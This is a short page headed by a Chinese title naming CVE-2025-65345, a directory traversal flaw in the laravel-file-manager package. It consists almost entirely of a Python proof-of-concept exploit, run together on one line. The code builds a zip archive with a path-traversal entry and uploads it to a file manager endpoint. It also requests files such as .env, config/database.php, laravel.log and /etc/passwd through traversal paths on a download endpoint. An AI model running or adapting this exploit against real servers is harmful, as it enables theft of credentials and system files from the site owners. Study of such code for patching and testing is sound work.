CVE-2025-65345 alexusmai/laravel-file-manager目录遍历漏洞

import zipfile import os import requests # CVE-2025-65345 PoC - Directory Traversal in alexusmai/laravel-file-manager # Target: alexusmai/laravel-file-manager <= 3.3.1 def create_malicious_zip(): """Create a zip file with path traversal in filename""" malicious_filename = '../../../etc/passwd' with zipfile.ZipFile('/tmp/traversal.zip', 'w') as zf: # Add a file with path traversal sequence zf.writestr(malicious_filename, 'malicious content', compress_type=zipfile.ZIP_DEFLATED) return '/tmp/traversal.zip' def exploit(target_url, zip_file_path): """ Send malicious zip file to the file manager's archive endpoint """ upload_url = f"{target_url}/filemanager/upload" with open(zip_file_path, 'rb') as f: files = {'file': ('malicious.zip', f, 'application/zip')} data = {'path': '/uploads/', 'disk': 'public'} response = requests.post(upload_url, files=files, data=data) return response # Alternative: Direct file read via path traversal def read_sensitive_files(target_url): """ Attempt to read sensitive files via path traversal """ sensitive_paths = [ '../../../.env', '../../../config/database.php', '../../../storage/logs/laravel.log', '../../../etc/passwd' ] results = [] for path in sensitive_paths: # Try to access via download endpoint with path traversal download_url = f"{target_url}/filemanager/download?path={path}" try: response = requests.get(download_url) if response.status_code == 200 and len(response.content) > 0: results.append({'file': path, 'content': response.content[:500]}) except Exception as e: pass return results if __name__ == '__main__': target = 'http://target.com/laravel-file-manager' zip_path = create_malicious_zip() print(f'Created malicious zip: {zip_path}') print(f'Exploiting: {exploit(target, zip_path)}')